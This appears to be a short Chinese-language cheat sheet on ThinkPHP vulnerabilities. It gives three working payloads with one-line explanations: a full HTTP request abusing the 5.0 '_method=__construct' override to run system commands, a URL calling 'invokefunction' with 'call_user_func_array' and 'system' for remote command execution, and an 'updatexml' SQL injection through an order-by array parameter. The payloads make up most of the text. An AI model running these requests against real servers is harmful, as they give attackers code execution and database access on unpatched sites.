介绍:ThinkPHP是一个开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。
{i}5.0命令执行漏洞
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
在ThinkPHP5.0版本表单请求类型伪装中,通过$_POST['_method']来传递真实的请求方法,攻击者可以通过POST传递_method=__construct来对Request类的method方法进行覆盖。当攻击者将filter变量覆盖为system函数时即 可任意代码执行漏洞。
{ii}远程命令注入: 由于没有开启强制路由,未对路由的控制器进行过滤,导致远程命令执行。
payload:
http://xx.xx.xx.xx/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数
{iii}由于服务器处理order by的参数时,未对数组进行过滤,若传入的参数为数组,则会导致漏洞产生
payload:
index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1